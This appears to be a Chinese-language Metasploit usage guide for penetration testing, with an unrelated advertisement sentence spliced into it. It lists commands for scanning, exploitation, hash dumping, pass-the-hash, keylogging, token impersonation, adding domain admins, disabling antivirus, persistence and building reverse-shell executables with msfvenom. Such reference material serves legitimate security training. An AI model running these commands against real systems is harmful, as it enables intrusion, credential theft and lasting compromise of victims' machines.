Metasploit使用指南——MSF终端(最新修改时间:2019.5.5)
目录
- 基础
- 使用指南
- 接口
- 功能程序
- 基础功能
- 载荷配置
- 攻击方式
- msfvenom
- 附属功能
- 数据库
- nexpose
- nessus
- 自建脚本
- 模块介绍
- 情报搜集——扫描模块
- 渗透攻击
- 后渗透攻击(Meterpreter)
- 免杀技术
- 相关知识
基础
使用指南
情报搜集:通常使用信息探测等方式获取目标主机的信息,信息探测分为主动信息探测和被动信息探测,常用工具包括nmap,其通常不使用Metasploit或在Metasploit中引入使用nmap。
漏洞扫描:通常使用Nexpose和Nessus等工具对目标主机进行漏洞扫描,其可直接使用这些工具或在Metasploit中引入使用。
SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。渗透攻击:根据挖掘到的漏洞使用对应的渗透代码和挂载相关可以使用的攻击载荷。
后渗透攻击:使用Metasploit中的后渗透攻击模块,其最常用的工具为Meterpreter。
综上所述,Metasploit主要使用的方向是渗透攻击和后渗透攻击。
接口
【图形模式】armitage界面打开方式:终端中输入msfdb init,再输入armitage。 【命令模式】MSF终端打开方式:终端输入msfconsole功能程序
1、MSF攻击载荷生成器->集成在msfvenom 2、MSF编码器->集成在msfvenom 3、Nasm shell->在找到的路径下命令行:./nasm_shell.rb基础功能
help [metasploit命令] 查看帮助 [命令] -h 查看帮助 exit 退出 load [工具] 导入某工具(例如nexpose、nessus等) back 回退上一步载荷配置
载荷配置名称不一定要大写,但这是个好习惯
LHOST 本地主机 RHOSTS 目标机 RPORT 目标端口 TARGET 目标系统类型(用标记) THREADS 扫描线程数(加快扫描速度) PASS_FILE 暴力猜解的字典文件 USERNAME 用户登录的用户名 SMBPass 设置哈希值
攻击方式
1、./msfconsole -x "use [漏洞];set RHOST [IP]; set PAYLOAD [后门];set LHOST [IP];run" 2、rc脚本 脚本内容: use [漏洞] set RHOST [IP] set PAYLOAD [后门] set LHOST [IP] run 命令行:./msfconsole -r [路径/脚本名.rc]msfvenom
msfvenom -p [载荷] --payload-options 列出某攻击载荷的配置 msfvenom -l encoders 列出编码器附属功能
数据库
1、启动 命令行:/etc/init.d/postgresql start msf:db_connect postgres:toor@[IP]/msf 3、命令 db_status 查看连接状 db_import [文件] 导入某文件//.xml、.nessus db_hosts [命令] 查看数据库中数据 db_nmap [命令] 在数据库中使用nmap service [命令] 服务命令 db_vulns 查看导入漏洞详情
nexpose
load nexpose 导入nexpose nexpose_connect -h 查看连接nexpose所需参数 nexpose_connect [用户名]:[密码]@[IP] ok 连接到nexpose nexpose_scan [IP] 扫描IP地址nessus
load nessus 导入nessus nessus_connect [用户名]:[密码]@localhost:8834 ok 连接nessus nessus_policy_list 查看服务器所欲已经定义的扫描策略 nessus_scan_new [ID号] [任务名字] [目标IP] 新建扫描任务 nessus_scan_launch [ID号] 手动启动扫描 nessus_scan_list 查看扫描任务的运行状态 nessus_db_import [ID号] 将扫描报告导入数据库中
自建脚本
编写rc文件
外部脚本位置:scripts/[子目录]/……
模块介绍
情报搜集——扫描模块
auxiliary/scanner/ip/ipidseq 寻找满足TCP空闲扫描要求的空闲主机 auxiliary/scanner/portscan/syn syn端口扫描//查看开放的端口 auxiliary/scanner/smb/smb_version 判断windows版本 auxiliary/scanner/mssql/mssql_ping UDP协议扫描所有的MS SQL服务器信息 auxiliary/scanner/ssh/ssh_version 扫描ssh版本 auxilary/scanner/ftp/ftp_version 扫描ftp版本 auxilary/scanner/ftp/anonymous 查看ftp服务器是否允许匿名用户登录 auxiliary/scanner/snmp/snmp_enum 扫描snmp auxiliary/scanner/snmp/snmp_login snmp登陆器//可以通过猜解登陆 auxiliary/scanner/vnc/vnc_none_auth VNC空口令//VNC已经更新,不容易扫描到肉鸡 auxiliary/scanner/x11/open_x11
渗透攻击
工具:MSF终端(msfconsole)、MSF编码器(msfencode)、MSF攻击载荷生成器(msfpayload) 理论:攻击载荷(payload)是系统被攻陷后执行的操作。通常攻击载荷附加于漏洞攻击模块之上,随漏洞攻击一起分发。 show exploits 显示所有渗透攻击模块 show auxiliary 显示所有辅助模块 info [模块] 显示模块详细信息//在当前模块下可以直接用info search [关键字] 查找关键字 search [关键字] 查找关键字 use [模块] 使用某一工具 show targets 显示当前模块可以影响的目标系统类型 show payloads 显示与当前模块兼容的攻击载荷 set payload [载荷] 设置载荷 show options 查看应该配置的选项 set [选项] [参数] 配置选项 unset [选项] 禁用选项 setg [选项] [参数] 设置全局变量 unsetg [选项] 清楚全局变量 run 运行 save 保存当前设置值,下次启动时还可以使用 exploit 攻击 sessions -l 查看远程运行的meterpreter情况 sessions -l -v 查看多台远程运行的meterpreter情况 sessions -i -[序号] 与某序号的控制会话进行交互 shell 进入目标系统的交互命令行shell中 exploit -[参数] resource [文件名].rc 载入某rc资源文件(需在当前目录下启动msfconsole或输入路径) msfconsole -r [文件名].rc 运行某rc文件
后渗透攻击(Meterpreter)
--获取信息-- screenshot 截屏 sysinfo 获取系统运行的平台 ps 获取目标系统正在运行的进程 migrate [序号] 迁移会话到某序号的进程中 run post/windows/capture/keylog_recorder 启用windows的键盘记录 --挖掘用户名和密码-- use priv 运行在特权账号 run post/windows/gather/hashdump 获取目标用户名和密码哈希值 --哈希传递-- use windows/smb/psexec 之后设置参数(包括哈希值参数)发起攻击就行 --提权——准备-- 在目标windows上: net user [用户名] [密码] /add 添加新账号 创建Meterpreter控制台: 使用某攻击载荷 exploit 发起攻击 getuid 得到控制台 shell 进入shell --提权——获取管理员或SYSTEM权限-- use priv 加载priv扩展 getsystem 尝试提权 getuid 检查获取的权限等级(若为NT AUTHORIY|SYSTEM则成功) --令牌假冒-- 1、管理员令牌 ps 列举当前运行的应用程序以及运行这些应用的用户账号 steal_token [PID] 假冒某PID登陆的管理员账号 2、所有可用令牌 use incognito list_tokens -u 列举令牌 impersonate_token [令牌名] 扮演某令牌(假若令牌中含\,应在该命令中使用\\代替\) add_user [用户名] [密码] -h [IP] 添加用户并将其假如到目的IP地址 add_group_user "Domain Admins" omgcompromised -h [IP] 赋予域管理员权限 --跳板攻击-- 利用当前攻陷的主机作为跳板去攻击网络中的其他系统(局域网内攻击,已经攻陷的主机和目标机都应该用内网IP地址)。 run get_local_subnets 展示受控系统上的本地子网 background 将攻击会话放到后台运行 route add [接口地址] [网络掩码] [会话ID] 添加路由命令,设置接口地址和接口网络掩码,设置会话ID //load auto_add_route 自动化添加路由 route print 显示当前活跃的路由设置 --迁徙进程-- 若通过某服务进行漏洞利用,目标主机关闭该进程,则连接也将丢失,故需要迁徙进程,将会话转移到内存空间中 run post/windows/manage/migrate --关闭杀软-- run killav --获取系统密码哈希值-- run hashdump --查看目标机上的所有流量-- run packetrecorder -i -1 --攫取系统信息-- run scraper --控制持久化-- persistence脚本允许注入Meterpreter代理,以确保系统重启之后Meterpreter还能运行。如果是反弹连接方式,可以设置连接攻击机的时间间隔。如果是绑定方式,可以设置在指定时间绑定开放端口。注意:完成该功能之后要进行移除。如果没有移除,任何攻击者无须认证都可以获取系统的访问权。 run persistence -X -i [秒数] -p [端口] -r [目标IP] -X 自启动 -i 多少秒重连依次 -p 使用端口 -r 连接的目的IP use multi/handler back use multi/handler set payload windows/meterpreter/reverse_tcp set LPORT [端口] set LHOST [目标IP] exploit 删除Meterpreter代理方法: 删除HKLM\Software\Microsoft\Windows\CurrentVersion\Run\中的 注册表键和C:\WINDOWS\TEMP中的VBScript文件。(注意:注册表中的键每次都会改变,所以要在Metasploit添加注册表键的时候做好记录) --列举后渗透攻击模块-- run post/ 点击TAB后回车 --将命令行shell升级为Meterpreter-- sessions -u [参数] 将shell升级到Meterpreter --使用附加的Railgun组件操作WindowsAPI-- irb --使用脚本-- run [脚本] 常用脚本: vnc 在远程系统上安装vnc会话 screen 运行查看屏幕 screen_unlock 解锁目标桌面 --其他操作-- ctrl+z 推出shell并保留Meterpreter会话免杀技术
--使用MSF攻击载荷生成器创建可独立运行的二进制文件--
msfvenom -p windows/shell_reverse_tcp --payload-options
msfvenom -p windows/shell_reverse_tcp LHOST=[目标IP地址] LPORT=[目标端口] -f exe -o [文件名].exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
show options
set LHOST [目标IP地址]
set LPORT [目标端口]
--使用MSF编码器--
msfvenom -l encoders 列出所有可用的编码格式
相关知识
1、windows系统存储哈希值一般为LAN Manager(LM)、NT LAN Manager(NTLM)、NTLAN Manager(NTLMv2)。

更多精彩